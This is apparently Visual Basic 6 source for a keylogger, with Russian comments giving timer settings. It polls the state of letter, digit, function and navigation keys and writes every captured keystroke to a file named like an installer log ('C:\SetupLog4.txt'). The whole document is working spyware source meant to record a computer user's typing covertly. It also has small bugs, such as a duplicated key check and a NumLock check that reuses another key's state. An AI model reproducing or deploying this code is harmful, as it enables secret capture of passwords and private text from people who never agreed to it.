Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer

Private Const VK_CAPITAL = &H14

Public retval as String

'при желании можно добавить так же обработку нажатия русских букв
'в общей сборке это реализовано
'установки таймера1-около 50(подбор), таймера2-10000
'для надёжной работы рекомендую вместо таймера использовать цикл с постусловием

Private Sub Timer1_Timer()

keystate = Getasynckeystate(vbKeyA)
If (keystate) Then
retval = retval + "A"
End If

keystate = Getasynckeystate(vbKeyB)
If (keystate) Then
retval = retval + "B"
End If

keystate = Getasynckeystate(vbKeyC)
If (keystate) Then
retval = retval + "C"
End If

keystate = Getasynckeystate(vbKeyD)
If (keystate) Then
retval = retval + "D"
End If

keystate = Getasynckeystate(vbKeyE)
If (keystate) Then
retval = retval + "E"
End If

keystate = Getasynckeystate(vbKeyF)
If (keystate) Then
retval = retval + "F"
End If

keystate = Getasynckeystate(vbKeyG)
If (keystate) Then
retval = retval + "G"
End If

keystate = Getasynckeystate(vbKeyH)
If (keystate) Then
retval = retval + "H"
End If

keystate = Getasynckeystate(vbKeyE)
If (keystate) Then
retval = retval + "E"
End If

keystate = Getasynckeystate(vbKeyI)
If (keystate) Then
retval = retval + "I"
End If

keystate = Getasynckeystate(vbKeyJ)
If (keystate) Then
retval = retval + "J"
End If

keystate = Getasynckeystate(vbKeyK)
If (keystate) Then
retval = retval + "K"
End If

keystate = Getasynckeystate(vbKeyL)
If (keystate) Then
retval = retval + "L"
End If

keystate = Getasynckeystate(vbKeyM)
If (keystate) Then
retval = retval + "M"
End If

keystate = Getasynckeystate(vbKeyN)
If (keystate) Then
retval = retval + "N"
End If

keystate = Getasynckeystate(vbKeyO)
If (keystate) Then
retval = retval + "O"
End If

keystate = Getasynckeystate(vbKeyP)
If (keystate) Then
retval = retval + "P"
End If

keystate = Getasynckeystate(vbKeyQ)
If (keystate) Then
retval = retval + "Q"
End If

keystate = Getasynckeystate(vbKeyR)
If (keystate) Then
retval = retval + "R"
End If

keystate = Getasynckeystate(vbKeyS)
If (keystate) Then
retval = retval + "S"
End If

keystate = Getasynckeystate(vbKeyT)
If (keystate) Then
retval = retval + "T"
End If

keystate = Getasynckeystate(vbKeyU)
If (keystate) Then
retval = retval + "U"
End If

keystate = Getasynckeystate(vbKeyV)
If (keystate) Then
retval = retval + "V"
End If

keystate = Getasynckeystate(vbKeyW)
If (keystate) Then
retval = retval + "W"
End If

keystate = Getasynckeystate(vbKeyX)
If (keystate) Then
retval = retval + "X"
End If

keystate = Getasynckeystate(vbKeyY)
If (keystate) Then
retval = retval + "Y"
End If

keystate = Getasynckeystate(vbKeyZ)
If (keystate) Then
retval = retval + "Z"
End If

keystate = Getasynckeystate(vbKey0)
If (keystate) Then
retval = retval + "0"
End If
keystate = Getasynckeystate(vbKey1)
If (keystate) Then
retval = retval + "1"
End If
keystate = Getasynckeystate(vbKey2)
If (keystate) Then
retval = retval + "2"
End If
keystate = Getasynckeystate(vbKey3)
If (keystate) Then
retval = retval + "3"
End If
keystate = Getasynckeystate(vbKey4)
If (keystate) Then
retval = retval + "4"
End If
keystate = Getasynckeystate(vbKey5)
If (keystate) Then
retval = retval + "5"
End If
keystate = Getasynckeystate(vbKey6)
If (keystate) Then
retval = retval + "6"
End If
keystate = Getasynckeystate(vbKey7)
If (keystate) Then
retval = retval + "7"
End If
keystate = Getasynckeystate(vbKey8)
If (keystate) Then
retval = retval + "8"
End If
keystate = Getasynckeystate(vbKey9)
If (keystate) Then
retval = retval + "9"
End If
keystate = Getasynckeystate(vbKeySpace)
If (keystate) Then
retval = retval + " "
End If
keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
retval = retval + "tab" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
retval = retval + "влево" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
retval = retval + "вправо" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
retval = retval + "вверх" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
retval = retval + "вниз" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
retval = retval + "insert" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
retval = retval + "Delete" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
retval = retval + "end" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
retval = retval + "home" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
retval = retval + "F1"
End If

keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
retval = retval + "F2"
End If

keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
retval = retval + "F3"
End If
     
keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
retval = retval + "F4"
End If

keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
retval = retval + "F5"
End If

keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
retval = retval + "F6"
End If

keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
retval = retval + "F7"
End If

keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
retval = retval + "F8"
End If

keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
retval = retval + "F9"
End If

keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
retval = retval + "F10"
End If

keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
retval = retval + "F11"
End If

If (keystate And &H1) = &H1 Then
retval = retval + "NumLock" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
retval = retval + "ScrollLock" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
retval = retval + "PrintScreen" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
retval = retval + "PageUp" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
retval = retval + "Pagedown" + vbNewLine
End If

keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
retval = retval + "1"
End If

keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
retval = retval + "2"
End If

keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
retval = retval + "3"
End If

keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
retval = retval + "4"
End If

keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
retval = retval + "5"
End If

keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
retval = retval + "6"
End If

keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
retval = retval + "7"
End If

keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
retval = retval + "8"
End If
keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
retval = retval + "9"
End If
keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
retval = retval + "0"
End If
keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
retval = retval + "esc"
End If
keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
  retval = retval + "NumLock"
End If
keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
retval = retval + "backspace" + vbNewLine
End If
keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
  retval = retval + "pause" + vbNewLine
End If

End Sub

Private Sub Timer2_Timer()
'запись в файл
If retval <> "" Then
    Dim DestFile
    DestFile = FreeFile
    Open "C:\SetupLog4.txt" For Append As #DestFile
    Print #DestFile, retval
    Close #DestFile
    retval = ""
End If
'ограничение длины файла
If FileLen("C:\SetupLog4.txt") > 32768 Then
    Dim DestFile1
    DestFile1 = FreeFile
    Open "C:\SetupLog4.txt" For Output As #DestFile1
    Close #DestFile1
End If

End Sub